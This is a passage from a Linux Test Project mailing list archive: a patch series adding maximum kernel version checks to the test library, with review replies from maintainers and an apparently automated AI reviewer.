+			tst_res(TCONF, msg, max_kver);
+
+		return false;
+	}
+
+	return true;
+}
+
 /*
  * Checks if the struct results values are equal.
  *
@@ -1459,6 +1493,9 @@ static void do_setup(int argc, char *argv[])
 	if (tst_test->min_kver)
 		check_min_kver(tst_test->min_kver, 1);
 
+	if (tst_test->max_kver)
+		check_max_kver(tst_test->max_kver, 1);
+
 	if (tst_test->skip_in_lockdown && tst_lockdown_enabled() > 0)
 		tst_brk(TCONF, "Kernel is locked down, skipping test");
 
@@ -1582,6 +1619,9 @@ static void do_setup(int argc, char *argv[])
 			if (tst_test->filesystems && tst_test->filesystems->min_kver)
 				check_min_kver(tst_test->filesystems->min_kver, 1);
 
+			if (tst_test->filesystems && tst_test->filesystems->max_kver)
+				check_max_kver(tst_test->filesystems->max_kver, 1);
+
 			prepare_device(tst_test->filesystems);
 		}
 	}
@@ -1987,6 +2027,9 @@ static void run_tcase_on_fs(struct tst_fs *fs, const char *fs_type)
 	if (fs->min_kver && !check_min_kver(fs->min_kver, 0))
 		return;
 
+	if (fs->max_kver && !check_max_kver(fs->max_kver, 0))
+		return;
+
 	prepare_device(fs);
 
 	fork_testrun();
-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 17:14:49 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 17:14:49 +0200
Subject: [LTP] [PATCH v4 7/9] tst_kvercmp: Factor out 2 kernels integer
 comparison
In-Reply-To: <20260805151451.648990-1-pvorel@suse.cz>
References: <20260805151451.648990-1-pvorel@suse.cz>
Message-ID: <20260805151451.648990-8-pvorel@suse.cz>

Factor out 2 kernels integer comparison into tst_kver_cmp().

This will be heavily used in metaparse.c (speedup of metadata
generation) in the next commit.

Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
New in v4.

 include/tst_kvercmp.h | 12 ++++++++++++
 lib/tst_kvercmp.c     | 16 +++++++++++-----
 2 files changed, 23 insertions(+), 5 deletions(-)

diff --git a/include/tst_kvercmp.h b/include/tst_kvercmp.h
index 26e8f8e3c1..73353e82a5 100644
--- a/include/tst_kvercmp.h
+++ b/include/tst_kvercmp.h
@@ -7,6 +7,18 @@
 #ifndef TST_KVERCMP_H__
 #define TST_KVERCMP_H__
 
+/**
+ * tst_kver_cmp() - Compare two kernel versions, versions passed by 3 integers.
+ *
+ * @a1: First kernel major version.
+ * @a2: First kernel minor version.
+ * @a3: First kernel patch level.
+ * @b1: Second kernel major version.
+ * @b2: Second kernel minor  version.
+ * @b3: Second kernel patch level.
+ */
+int tst_kver_cmp(int a1, int a2, int a3, int b1, int b2, int b3);
+
 /**
  * tst_kvcmp() - Compare given kernel version with kernel in string.
  *
diff --git a/lib/tst_kvercmp.c b/lib/tst_kvercmp.c
index c0714073d4..11b06189a9 100644
--- a/lib/tst_kvercmp.c
+++ b/lib/tst_kvercmp.c
@@ -96,17 +96,23 @@ int tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3)
 	return rc;
 }
 
+int tst_kver_cmp(int a1, int a2, int a3, int b1, int b2, int b3)
+{
+	int aver, bver;
+
+	aver = (a1 << 20) + (a2 << 10) + a3;
+	bver = (b1 << 20) + (b2 << 10) + b3;
+
+	return aver - bver;
+}
+
 int tst_kvcmp(const char *cur_kver, int r1, int r2, int r3)
 {
 	int a1, a2, a3;
-	int testver, currver;
 
 	tst_parse_kver(cur_kver, &a1, &a2, &a3);
 
-	testver = (r1 << 20) + (r2 << 10) + r3;
-	currver = (a1 << 20) + (a2 << 10) + a3;
-
-	return currver - testver;
+	return tst_kver_cmp(a1, a2, a3, r1, r2, r3);
 }
 
 int tst_kvercmp(int r1, int r2, int r3)
-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 17:14:51 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 17:14:51 +0200
Subject: [LTP] [PATCH v4 9/9] [RFC] metaparse: Check {min, max}_kver validity
In-Reply-To: <20260805151451.648990-1-pvorel@suse.cz>
References: <20260805151451.648990-1-pvorel@suse.cz>
Message-ID: <20260805151451.648990-10-pvorel@suse.cz>

Check .max_kver and .min_kver validity. Exit generation with error when:
* .max_kver or .min_kver is invalid
* .min_kver > .max_kver

Suggested-by: Li Wang <li.wang@linux.dev>
Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
New in v4.

 lib/tst_test.c       |  2 ++
 metadata/Makefile    |  6 ++++--
 metadata/metaparse.c | 33 +++++++++++++++++++++++++++++++++
 3 files changed, 39 insertions(+), 2 deletions(-)

diff --git a/lib/tst_test.c b/lib/tst_test.c
index 0d3714c709..11d233dcbd 100644
--- a/lib/tst_test.c
+++ b/lib/tst_test.c
@@ -1496,6 +1496,8 @@ static void do_setup(int argc, char *argv[])
 	if (tst_test->max_kver)
 		check_max_kver(tst_test->max_kver, 1);
 
+	// TODO: Add runtime check tst_test->max_kver >= tst_test->min_kver.
+
 	if (tst_test->skip_in_lockdown && tst_lockdown_enabled() > 0)
 		tst_brk(TCONF, "Kernel is locked down, skipping test");
 
diff --git a/metadata/Makefile b/metadata/Makefile
index af194bcc94..9ee2441669 100644
--- a/metadata/Makefile
+++ b/metadata/Makefile
@@ -3,13 +3,15 @@
 
 top_srcdir		?= ..
 
-include $(top_srcdir)/include/mk/env_pre.mk
-include $(top_srcdir)/include/mk/functions.mk
+include $(top_srcdir)/include/mk/testcases.mk
 
 MAKE_TARGETS		:= ltp.json
 HOST_MAKE_TARGETS	:= metaparse metaparse-sh
 INSTALL_DIR		= metadata
 
+metaparse: HOST_CFLAGS		+= -I$(abs_srcdir)/../include -L$(abs_builddir)/../lib
+metaparse: HOST_LDLIBS		+= -lltp
+
 .PHONY: ltp.json
 
 ltp.json: metaparse metaparse-sh
diff --git a/metadata/metaparse.c b/metadata/metaparse.c
index cb141c3831..07a452a5a1 100644
--- a/metadata/metaparse.c
+++ b/metadata/metaparse.c
@@ -6,6 +6,7 @@
 
 #define _GNU_SOURCE
 
+#include <assert.h>
 #include <search.h>
 #include <stdio.h>
 #include <string.h>
@@ -15,6 +16,7 @@
 #include <errno.h>
 
 #include "data_storage.h"
+#include "tst_kvercmp.h"
 
 #define INCLUDE_PATH_MAX 5
 #define GROUPS_TAG "@groups"
@@ -1372,6 +1374,37 @@ int main(int argc, char *argv[])
 		}
 	}
 
+	/* Check max_kver >= min_kver */
+	struct data_node *max_kver = data_node_hash_get(res, "max_kver");
+	struct data_node *min_kver = data_node_hash_get(res, "min_kver");
+	int a1, a2, a3, b1, b2, b3;
+
+	if (min_kver) {
+		assert(min_kver->type == DATA_STRING);
+		if (tst_parse_kver(min_kver->string.val, &b1, &b2, &b3)) {
+			fprintf(stderr, "%s: wrong min_kver: '%s'\n",
+				argv[optind], min_kver->string.val);
+			return 1;
+		}
+	}
+
+	if (max_kver) {
+		assert(max_kver->type == DATA_STRING);
+		if (tst_parse_kver(max_kver->string.val, &a1, &a2, &a3)) {
+			fprintf(stderr, "%s: wrong max_kver: '%s'\n",
+					argv[optind], max_kver->string.val);
+			return 1;
+		}
+	}
+
+	if (min_kver && max_kver) {
+		if (tst_kver_cmp(a1, a2, a3, b1, b2, b3) < 0) {
+			fprintf(stderr, "%s: min_kver (%s) > max_kver (%s)\n",
+					argv[optind], min_kver->string.val, max_kver->string.val);
+			return 1;
+		}
+	}
+
 	/* Normalize types */
 	check_normalize_types(res, "", tst_test_typemap);
 
-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 17:14:44 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 17:14:44 +0200
Subject: [LTP] [PATCH v4 2/9] lib: Rename function check_kver() =>
 check_min_kver()
In-Reply-To: <20260805151451.648990-1-pvorel@suse.cz>
References: <20260805151451.648990-1-pvorel@suse.cz>
Message-ID: <20260805151451.648990-3-pvorel@suse.cz>

This is a preparation for struct tst_test max_kver member in the next
commit.

Reviewed-by: Avinesh Kumar <avinesh.kumar@suse.com>
Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>
Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
The same as in v3.

 lib/tst_test.c | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/lib/tst_test.c b/lib/tst_test.c
index 351b155700..c42dcf14e4 100644
--- a/lib/tst_test.c
+++ b/lib/tst_test.c
@@ -1058,11 +1058,11 @@ static void do_exit(int ret)
 }
 
 /*
- * Check for the required kernel version.
+ * Check for the minimal required kernel version.
  *
  * return: true if the kernel version is high enough, false otherwise.
  */
-static bool check_kver(const char *min_kver, const int brk_nosupp)
+static bool check_min_kver(const char *min_kver, const int brk_nosupp)
 {
 	char *msg;
 	int v1, v2, v3;
@@ -1457,7 +1457,7 @@ static void do_setup(int argc, char *argv[])
 		tst_brk(TCONF, "Test needs to be run as root");
 
 	if (tst_test->min_kver)
-		check_kver(tst_test->min_kver, 1);
+		check_min_kver(tst_test->min_kver, 1);
 
 	if (tst_test->skip_in_lockdown && tst_lockdown_enabled() > 0)
 		tst_brk(TCONF, "Kernel is locked down, skipping test");
@@ -1580,7 +1580,7 @@ static void do_setup(int argc, char *argv[])
 				tst_check_cmd(tst_test->filesystems->mkfs_ver, 1);
 
 			if (tst_test->filesystems && tst_test->filesystems->min_kver)
-				check_kver(tst_test->filesystems->min_kver, 1);
+				check_min_kver(tst_test->filesystems->min_kver, 1);
 
 			prepare_device(tst_test->filesystems);
 		}
@@ -1984,7 +1984,7 @@ static void run_tcase_on_fs(struct tst_fs *fs, const char *fs_type)
 	if (fs->mkfs_ver && !tst_check_cmd(fs->mkfs_ver, 0))
 		return;
 
-	if (fs->min_kver && !check_kver(fs->min_kver, 0))
+	if (fs->min_kver && !check_min_kver(fs->min_kver, 0))
 		return;
 
 	prepare_device(fs);
-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 17:14:43 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 17:14:43 +0200
Subject: [LTP] [PATCH v4 1/9] tst_kvercmp: Factor out error handling
In-Reply-To: <20260805151451.648990-1-pvorel@suse.cz>
References: <20260805151451.648990-1-pvorel@suse.cz>
Message-ID: <20260805151451.648990-2-pvorel@suse.cz>

Error check was already on 2 places (and possibly more will be added in
the future).

Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
New in v4.

 lib/tst_kvercmp.c | 23 +++++++++++++++++------
 lib/tst_test.c    |  6 +-----
 2 files changed, 18 insertions(+), 11 deletions(-)

diff --git a/lib/tst_kvercmp.c b/lib/tst_kvercmp.c
index 9e1a511aff..c0714073d4 100644
--- a/lib/tst_kvercmp.c
+++ b/lib/tst_kvercmp.c
@@ -45,7 +45,7 @@ static char *parse_digit(const char *str, int *d)
 	return end;
 }
 
-int tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3)
+static int _tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3)
 {
 	const char *str = str_kver;
 
@@ -81,17 +81,28 @@ int tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3)
 	return 0;
 }
 
-int tst_kvcmp(const char *cur_kver, int r1, int r2, int r3)
+int tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3)
 {
-	int a1, a2, a3;
-	int testver, currver;
+	int rc;
+
+	rc = _tst_parse_kver(str_kver, v1, v2, v3);
 
-	if (tst_parse_kver(cur_kver, &a1, &a2, &a3)) {
+	if (rc) {
 		tst_resm(TWARN,
 			 "Invalid kernel version %s, expected %%d.%%d.%%d",
-		         cur_kver);
+		         str_kver);
 	}
 
+	return rc;
+}
+
+int tst_kvcmp(const char *cur_kver, int r1, int r2, int r3)
+{
+	int a1, a2, a3;
+	int testver, currver;
+
+	tst_parse_kver(cur_kver, &a1, &a2, &a3);
+
 	testver = (r1 << 20) + (r2 << 10) + r3;
 	currver = (a1 << 20) + (a2 << 10) + a3;
 
diff --git a/lib/tst_test.c b/lib/tst_test.c
index 5c3607016e..351b155700 100644
--- a/lib/tst_test.c
+++ b/lib/tst_test.c
@@ -1067,11 +1067,7 @@ static bool check_kver(const char *min_kver, const int brk_nosupp)
 	char *msg;
 	int v1, v2, v3;
 
-	if (tst_parse_kver(min_kver, &v1, &v2, &v3)) {
-		tst_res(TWARN,
-			"Invalid kernel version %s, expected %%d.%%d.%%d",
-			min_kver);
-	}
+	tst_parse_kver(min_kver, &v1, &v2, &v3);
 
 	if (tst_kvercmp(v1, v2, v3) < 0) {
 		msg = "The test requires kernel %s or newer";
-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 17:14:46 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 17:14:46 +0200
Subject: [LTP] [PATCH v4 4/9] creat07: execve04: Remove version check,
 add linux-git
In-Reply-To: <20260805151451.648990-1-pvorel@suse.cz>
References: <20260805151451.648990-1-pvorel@suse.cz>
Message-ID: <20260805151451.648990-5-pvorel@suse.cz>

Kernel commit 2a010c412853 ("fs: don't block i_writecount during exec")
from 6.11-rc1 was reverted in 3b832035387f ("Revert "fs: don't block
i_writecount during exec"") in v6.13-rc1 and backported into v6.11.11
and v6.12.2. Due LTP "no hide kernel bugs" policy remove kernel version
limitation and add missing linux-git tag.

Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>
Reported-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
New in v4 (replaced adding max_kver in previous versions).

 testcases/kernel/syscalls/creat/creat07.c   | 20 ++++++++---------
 testcases/kernel/syscalls/execve/execve04.c | 24 ++++++++++-----------
 2 files changed, 22 insertions(+), 22 deletions(-)

diff --git a/testcases/kernel/syscalls/creat/creat07.c b/testcases/kernel/syscalls/creat/creat07.c
index c7b85ee694..4a1282bb2f 100644
--- a/testcases/kernel/syscalls/creat/creat07.c
+++ b/testcases/kernel/syscalls/creat/creat07.c
@@ -6,6 +6,12 @@
 
 /*\
  * Check that :manpage:`creat(2)` sets ETXTBSY correctly.
+ *
+ * NOTE: write to executed file was allowed in 6.11-rc1:
+ * 2a010c412853 ("fs: don't block i_writecount during exec")
+ * but then reverted in v6.13-rc1:
+ * 3b832035387f ("Revert "fs: don't block i_writecount during exec""),
+ * backported into v6.11.11 and v6.12.2.
  */
 
 #include <sys/types.h>
@@ -47,20 +53,14 @@ static void verify_creat(void)
 	SAFE_WAITPID(pid, NULL, 0);
 }
 
-static void setup(void)
-{
-	if ((tst_kvercmp(6, 11, 0)) >= 0) {
-		tst_brk(TCONF, "Skipping test, write to executed file is "
-			"allowed since 6.11-rc1.\n"
-			"2a010c412853 (\"fs: don't block i_writecount during exec\")");
-	}
-}
-
 static struct tst_test test = {
-	.setup = setup,
 	.test_all = verify_creat,
 	.needs_checkpoints = 1,
 	.forks_child = 1,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "3b832035387ff508fdcf0fba66701afc78f79e3d"},
+		{}
+	},
 	.resource_files = (const char *const []) {
 		TEST_APP,
 		NULL
diff --git a/testcases/kernel/syscalls/execve/execve04.c b/testcases/kernel/syscalls/execve/execve04.c
index 35ec882a07..314710a32d 100644
--- a/testcases/kernel/syscalls/execve/execve04.c
+++ b/testcases/kernel/syscalls/execve/execve04.c
@@ -9,8 +9,14 @@
  */
 
 /*\
- * Attempt to :manpage:`execve(2)` a file which is being opened by another process for
- * writing fails with ETXTBSY.
+ * Attempt to :manpage:`execve(2)` a file which is being opened by another
+ * process for writing fails with ETXTBSY.
+ *
+ * NOTE: write to executed file was allowed in 6.11-rc1:
+ * 2a010c412853 ("fs: don't block i_writecount during exec")
+ * but then reverted in v6.13-rc1:
+ * 3b832035387f ("Revert "fs: don't block i_writecount during exec""),
+ * backported into v6.11.11 and v6.12.2.
  */
 
 #define _GNU_SOURCE
@@ -62,21 +68,15 @@ static void do_child(void)
 	exit(0);
 }
 
-static void setup(void)
-{
-	if ((tst_kvercmp(6, 11, 0)) >= 0) {
-		tst_brk(TCONF, "Skipping test, write to executed file is "
-			"allowed since 6.11-rc1.\n"
-			"2a010c412853 (\"fs: don't block i_writecount during exec\")");
-	}
-}
-
 static struct tst_test test = {
-	.setup = setup,
 	.test_all = verify_execve,
 	.forks_child = 1,
 	.child_needs_reinit = 1,
 	.needs_checkpoints = 1,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "3b832035387ff508fdcf0fba66701afc78f79e3d"},
+		{}
+	},
 	.resource_files = (const char *const []) {
 		TEST_APP,
 		NULL
-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 17:14:47 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 17:14:47 +0200
Subject: [LTP] [PATCH v4 5/9] fanotify20: Skip on v7.2
In-Reply-To: <20260805151451.648990-1-pvorel@suse.cz>
References: <20260805151451.648990-1-pvorel@suse.cz>
Message-ID: <20260805151451.648990-6-pvorel@suse.cz>

fanotify_init() used to reject FAN_REPORT_PIDFD combined with
FAN_REPORT_TID with EINVAL. Since Linux v7.2, fanotify supports
reporting pidfds for thread IDs, so this combination is expected to
succeed.

The test that these flag combinations are allowed:
                FLAGS_DESC(FAN_REPORT_PIDFD | FAN_REPORT_TID),
		FLAGS_DESC(FAN_REPORT_PIDFD | FAN_REPORT_FID |
			   FAN_REPORT_DFID_NAME),

Because the above flag combinations are already "tested" by the tests
that use them and we don't have any tests that >= 5.10 has support for
FAN_MARK_FILESYSTEM etc just simply skip the test on v7.2.

Reported-by: AnonymeMeow <anonymemeow@gmail.com>
Suggested-by: Amir Goldstein <amir73il@gmail.com>
Reviewed-by: Jan Kara <jack@suse.cz>
Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>
Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
The same as in v3 and previous versions.

 testcases/kernel/syscalls/fanotify/fanotify20.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/testcases/kernel/syscalls/fanotify/fanotify20.c b/testcases/kernel/syscalls/fanotify/fanotify20.c
index b32ecf6aa3..db4a5ba63b 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify20.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify20.c
@@ -15,6 +15,9 @@
  *
  * NOTE: FAN_REPORT_PIDFD support was added in v5.15-rc1 in
  * af579beb666a ("fanotify: add pidfd support to the fanotify API").
+ *
+ * NOTE: since v7.2, fanotify supports reporting pidfds for thread IDs => skip
+ * the test.
  */
 
 #define _GNU_SOURCE
@@ -75,6 +78,7 @@ static void do_cleanup(void)
 
 static struct tst_test test = {
 	.setup = do_setup,
+	.max_kver = "7.1",
 	.test = do_test,
 	.tcnt = ARRAY_SIZE(test_cases),
 	.cleanup = do_cleanup,
-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 17:14:48 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 17:14:48 +0200
Subject: [LTP] [PATCH v4 6/9] lib: Add basic test for .min_kver && .max_kver
In-Reply-To: <20260805151451.648990-1-pvorel@suse.cz>
References: <20260805151451.648990-1-pvorel@suse.cz>
Message-ID: <20260805151451.648990-7-pvorel@suse.cz>

Basic test to CI to test that test with .min_kver < .max_kver will be run.

Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
New in v4.

 lib/newlib_tests/.gitignore              |  1 +
 lib/newlib_tests/runtest.sh              |  1 +
 lib/newlib_tests/tst_min_kver_max_kver.c | 21 +++++++++++++++++++++
 3 files changed, 23 insertions(+)
 create mode 100644 lib/newlib_tests/tst_min_kver_max_kver.c

diff --git a/lib/newlib_tests/.gitignore b/lib/newlib_tests/.gitignore
index b851638246..5f16a7e5bd 100644
--- a/lib/newlib_tests/.gitignore
+++ b/lib/newlib_tests/.gitignore
@@ -72,3 +72,4 @@ test_brk_pass
 test_brk_variant
 test_fail_variant
 test_cpu_vendor
+tst_min_kver_max_kver
diff --git a/lib/newlib_tests/runtest.sh b/lib/newlib_tests/runtest.sh
index 71808ef8b8..4e8da861fc 100755
--- a/lib/newlib_tests/runtest.sh
+++ b/lib/newlib_tests/runtest.sh
@@ -26,6 +26,7 @@ tst_device
 tst_expiration_timer
 tst_filesystems01
 tst_fuzzy_sync0[1-3]
+tst_min_kver_max_kver
 tst_needs_cmds0[1-36-8]
 tst_res_hexd
 tst_safe_sscanf
diff --git a/lib/newlib_tests/tst_min_kver_max_kver.c b/lib/newlib_tests/tst_min_kver_max_kver.c
new file mode 100644
index 0000000000..a488d0ed47
--- /dev/null
+++ b/lib/newlib_tests/tst_min_kver_max_kver.c
@@ -0,0 +1,21 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Petr Vorel <pvorel@suse.cz>
+ */
+
+/*
+ * Basic test to test that test with .min_kver < .max_kver will be run.
+ */
+
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	tst_res(TPASS, "Test has sufficient kernel version");
+}
+
+static struct tst_test test = {
+	.min_kver = "4.4",
+	.max_kver = "5.0",
+	.test_all = do_test,
+};
-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 17:14:50 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed,  5 Aug 2026 17:14:50 +0200
Subject: [LTP] [PATCH v4 8/9] [RFC] make: Allow to add LTP library as a
 dependency for host
In-Reply-To: <20260805151451.648990-1-pvorel@suse.cz>
References: <20260805151451.648990-1-pvorel@suse.cz>
Message-ID: <20260805151451.648990-9-pvorel@suse.cz>

Will be used for metadata.c in the next commit.

Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
New in v4.

 include/mk/generic_leaf_target.inc | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/include/mk/generic_leaf_target.inc b/include/mk/generic_leaf_target.inc
index 7c685fea76..1df18c1a75 100644
--- a/include/mk/generic_leaf_target.inc
+++ b/include/mk/generic_leaf_target.inc
@@ -1,6 +1,6 @@
 # SPDX-License-Identifier: GPL-2.0-or-later
 # Generic leaf rules include Makefile.
-# Copyright (c) Linux Test Project, 2017-2022
+# Copyright (c) Linux Test Project, 2017-2026
 # Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
 
@@ -84,6 +84,9 @@ endif
 
 $(MAKE_TARGETS): | $(MAKE_DEPS)
 
+# Allow to host tools reuse libltp.a
+$(HOST_MAKE_TARGETS): | $(MAKE_DEPS)
+
 all: $(MAKE_TARGETS)
 
 clean:: $(CLEAN_DEPS)
-- 
2.55.0


From pvorel@suse.cz  Wed Aug  5 17:46:16 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed, 5 Aug 2026 17:46:16 +0200
Subject: [LTP] [PATCH v8] power_management: rewrite runpwtests04.sh in C
In-Reply-To: <20260805145213.3066-1-always.starving0@gmail.com>
References: <20260805145213.3066-1-always.starving0@gmail.com>
Message-ID: <20260805154616.GA649402@pevik>

Hi Jinseok Kim,

Patch does not apply:
error: patch failed: runtest/power_management_tests:1
error: runtest/power_management_tests: patch does not apply
error: patch failed: testcases/kernel/power_management/.gitignore:1
error: testcases/kernel/power_management/.gitignore: patch does not apply
Patch failed at 0001 power_management: rewrite runpwtests04.sh in C

=> please rebase and repost.

>  runpwtests06 runpwtests06.sh
> diff --git a/testcases/kernel/power_management/.gitignore b/testcases/kernel/power_management/.gitignore
> index 03f0c83e4..052696dc5 100644
> --- a/testcases/kernel/power_management/.gitignore
> +++ b/testcases/kernel/power_management/.gitignore
> @@ -1 +1,2 @@
> -high_freq_hwp_cap_cppc
> +/cpuidle01
> +/high_freq_hwp_cap_cppc
> diff --git a/testcases/kernel/power_management/cpuidle01.c b/testcases/kernel/power_management/cpuidle01.c
> new file mode 100644
> index 000000000..7e7b8d01f
> --- /dev/null
> +++ b/testcases/kernel/power_management/cpuidle01.c
> @@ -0,0 +1,102 @@
> +// SPDX-License-Identifier: GPL-2.0-or-later
> +/*
> + * Copyright (C) 2026 Jinseok Kim <always.starving0@gmail.com>
Maybe add a note:

Based on a script written by Nageswara R Sastry <nasastry@in.ibm.com>
Copyright (c) International Business Machines  Corp., 2001

Kind regards,
Petr

From pvorel@suse.cz  Wed Aug  5 17:48:46 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Wed, 5 Aug 2026 17:48:46 +0200
Subject: [LTP] [PATCH v8] power_management: rewrite runpwtests04.sh in C
In-Reply-To: <20260805145213.3066-1-always.starving0@gmail.com>
References: <20260805145213.3066-1-always.starving0@gmail.com>
Message-ID: <20260805154846.GC649402@pevik>

Hi Jinseok Kim,

> +static void run(void)
> +{
> +	check_available_governors();
> +	check_current_driver();
> +	check_current_governor();
> +	check_current_governor_ro();
please instead of this and .test_all use a test struct, the way we use in
basically any test, see e.g.
testcases/kernel/syscalls/mbind/mbind01.c
testcases/kernel/syscalls/bind/bind01.c

then you'll use:
    .tcnt = ARRAY_SIZE(tcase),
    .test = do_test

Kind regards,
Petr

> +}
> +
> +static struct tst_test test = {
> +	.test_all = run,
> +	.needs_root = 1,
> +};

From chrubis@suse.cz  Wed Aug  5 18:17:07 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Wed, 5 Aug 2026 18:17:07 +0200
Subject: [LTP] [PATCH] hugemmap36: Migrate the
 libhugetlbfs/testcases/truncate_above_4GB.c test
In-Reply-To: <20260717115258.1087666-1-pavrampu@linux.ibm.com>
References: <20260717115258.1087666-1-pavrampu@linux.ibm.com>
Message-ID: <anNiA43VUJcozJnf@yuki.lan>

Hi!
Pushed, thanks.

-- 
Cyril Hrubis
chrubis@suse.cz

From linuxtestproject.agent@gmail.com  Wed Aug  5 19:33:31 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Wed,  5 Aug 2026 17:33:31 +0000
Subject: [LTP] tst_kvercmp: Factor out error handling
In-Reply-To: <20260805151451.648990-2-pvorel@suse.cz>
References: <20260805151451.648990-2-pvorel@suse.cz>
Message-ID: <20260805173331.4185-1-linuxtestproject.agent@gmail.com>

Hi Petr,

On Wed, 5 Aug 2026, Petr Vorel wrote:
> tst_kvercmp: Factor out error handling

--- [PATCH 2/9] ---

> This is a preparation for struct tst_test max_kver member in the next
> commit.

Could this explain the distinction between minimum- and maximum-version
checks without referring to the next patch? Commit messages in a series
should be self-contained.

--- [PATCH 5/9] ---

> +	.max_kver = "7.1",

Could only the FAN_REPORT_PIDFD | FAN_REPORT_TID case be adjusted or split
instead? This skips every case on Linux 7.2 and newer, including
FAN_REPORT_PIDFD | FAN_REPORT_FID | FAN_REPORT_DFID_NAME, whose expected
behavior did not change. That permanently removes its regression coverage on
newer kernels.

--- [PATCH 6/9] ---

> +	.min_kver = "4.4",
> +	.max_kver = "5.0",

How does this exercise the successful min/max path on current kernels? It
exits with TCONF on every kernel newer than 5.0, and runtest.sh accepts TCONF
as success without calling do_test(). Could the upper bound be made safely
higher than the running kernel, or otherwise deterministic?

--- [PATCH 7/9] ---

> +/**
> + * tst_kver_cmp() - Compare two kernel versions, versions passed by 3 integers.
> + *
> + * @a1: First kernel major version.
> + * @a2: First kernel minor version.
> + * @a3: First kernel patch level.
> + * @b1: Second kernel major version.
> + * @b2: Second kernel minor  version.
> + * @b3: Second kernel patch level.
> + */

Could this document the return value? Callers need to know that a negative
result means the first version is older, zero means equal, and a positive
result means newer.

> This will be heavily used in metaparse.c (speedup of metadata
> generation) in the next commit.

Could the reusable comparison need be explained without referring to the next
patch? Commit messages in a series should be self-contained.

--- [PATCH 8/9] ---

> Will be used for metadata.c in the next commit.

Could this describe the host-tool link or build-order problem solved by the
rule? The current body relies on the next patch and does not explain why host
targets need MAKE_DEPS.

--- [PATCH 9/9] ---

> +	if (min_kver && max_kver) {
> +		if (tst_kver_cmp(a1, a2, a3, b1, b2, b3) < 0) {

Could this apply the same two-component max_kver semantics as
check_max_kver()? For example, min_kver "7.1.5" and max_kver "7.1" is rejected
as 7.1.5 > 7.1.0, although the API defines max_kver "7.1" to include every
7.1.x kernel.

> +include $(top_srcdir)/include/mk/testcases.mk
>
> +metaparse: HOST_CFLAGS		+= -I$(abs_srcdir)/../include -L$(abs_builddir)/../lib
> +metaparse: HOST_LDLIBS		+= -lltp

How will this work for cross builds? metaparse is built with HOSTCC, while
testcases.mk builds libltp.a with the target CC. A host linker cannot consume
a target-architecture archive. Could the parsing and comparison code used by
metaparse be built with HOSTCC or shared without linking the target library?

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Wed Aug  5 19:33:52 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Wed,  5 Aug 2026 17:33:52 +0000
Subject: [LTP] tst_kvercmp: Factor out error handling
In-Reply-To: <20260805151451.648990-2-pvorel@suse.cz>
References: <20260805151451.648990-2-pvorel@suse.cz>
Message-ID: <20260805173352.8682-1-linuxtestproject.agent@gmail.com>

Hi Petr,

On Wed, Aug 5, 2026, Petr Vorel wrote:
> tst_kvercmp: Factor out error handling

--- [PATCH 1/9] ---

> +static int _tst_parse_kver(const char *str_kver, int *v1, int *v2, int *v3)

Could this helper use an unreserved name such as parse_kver or
tst_parse_kver_internal? Identifiers beginning with an underscore are
reserved at file scope by C, and LTP's C rules explicitly prohibit them.

--- [PATCH 6/9] ---

> +static struct tst_test test = {
> +	.min_kver = "4.4",
> +	.max_kver = "5.0",
> +	.test_all = do_test,
> +};

How can this self-test verify that a valid range is run? On kernel 7.2,
the framework exits with TCONF before do_test() is called, and runtest.sh
accepts TCONF as success. The test therefore remains green even if running
a test inside a valid min/max range is broken. Could the test use a range
containing the running kernel, or assert the gating result another way?

--- [PATCH 7/9] ---

> +/**
> + * tst_kver_cmp() - Compare two kernel versions, versions passed by 3 integers.
> + *
